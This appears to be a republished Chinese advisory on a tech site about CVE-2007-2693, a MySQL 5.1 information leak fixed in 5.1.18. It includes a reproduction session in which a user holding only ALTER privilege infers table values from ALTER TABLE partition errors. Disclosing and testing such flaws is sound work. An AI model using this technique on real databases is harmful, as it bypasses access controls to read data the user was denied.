导致MySQL Alter Table函数信息泄露的原因

数据库 MySQL
我们今天要想大家讨论的是在实际操作中那些情况会导致MySQL Alter Table函数的相关信息出现泄露漏洞,以下就是文章的具体内容操作。

以下的文章主要讲述的那些情况导致MySQL Alter Table函数的相关信息出现泄露漏洞,如果你在使用MySQL Alter Table中出现相关的情况的话,你就可以通过以下的文章对其有个研究吧!

受影响系统:

 

  1. MySQL AB MySQL 5.1.x < 5.1.18  

不受影响系统:

 

  1. MySQL AB MySQL 5.1.18  

描述:BUGTRAQ ID: 24008

CVE(CAN) ID: CVE-2007-2693

MySQL是一款使用非常广泛的开放源代码关系数据库系统,拥有各种平台的运行版本。

MySQL Alter Table功能实现上存在漏洞,能够以合法帐号登录到数据库系统的攻击者可能利用此漏洞非授权获取数据表相关的敏感信息。

如果用户对表格拥有ALTER权限的话,则即使没有SELECT权限也可以通过ALTER TABLE语句获得某些有关表格的敏感信息。例如,用户可以发布以下命令:

  1. ALTER TABLE table1 PARTITION BY LIST (column1) (PARTITION x VALUES IN (0));  

MySQL会返回错误消息:

  1. "Table has no partition for value 18".  

这样该用户就可以知道存在column1 = 18的列。

测试方法:

以root用户发布:

 

  1. mysql> create table tu (s1 int);   
  2. Query OK, 0 rows affected (0.00 sec)   
  3. mysql> insert into tu values (1);   
  4. Query OK, 1 row affected (0.00 sec)   
  5. mysql> grant alter on tu to molly@localhost;   
  6. Query OK, 0 rows affected (0.01 sec)   
  7.  

 

以molly@localhost发布:

 

  1. mysql> select * from tu;   
  2. ERROR 1142 (42000): SELECT command denied to user 'molly'@'localhost' for table   
  3. 'tu'   
  4. mysql> alter table tu partition by list (s1) (partition p1 values in (1));   
  5. Query OK, 1 row affected (0.05 sec)   
  6. Records: 1 Duplicates: 0 Warnings: 0   
  7. mysql> alter table tu partition by list (s1) (partition p1 values in (2));   
  8. ERROR 1513 (HY000): Table has no partition for value 1  

 

以上的相关内容就是对MySQL Alter Table函数信息泄露漏洞的介绍,望你能有所收获。

【编辑推荐】

  1. MySQL数据类型与相应的建库策略
  2. MySQL数据库中定义外键的必备条件
  3. MySQL数据库所支持的三个引擎
  4. MySQL Administrator备份与还原数据库实操
  5. MySQL命令行的常用命令介绍

     
责任编辑:佚名 来源: 互联网
相关推荐

2011-08-11 11:27:11

MySQLalter table

2011-08-24 09:45:14

alter_table中文man

2016-12-19 15:39:20

2011-07-01 09:17:11

MariaDB

2019-10-24 17:12:41

黑客智能手机Wi-Fi

2010-05-18 18:11:33

MySQL ALTER

2022-07-12 09:36:18

数据库查询

2022-04-18 11:46:44

银行系统SSRF漏洞信息泄露

2022-12-13 10:05:13

MySQL数据库

2013-05-30 13:23:45

2023-09-05 19:50:03

2019-11-12 16:34:12

网络安全软件技术

2010-05-18 17:39:13

MySQL alter

2012-11-20 10:49:52

2022-09-22 09:57:20

Spring事务失效

2023-08-16 12:29:34

2012-11-14 14:39:21

2011-06-10 15:57:28

网站收录

2021-04-26 08:00:00

DevSecOps安全开发

2009-12-10 15:58:21

PHP preg_ma
点赞
收藏

51CTO技术栈公众号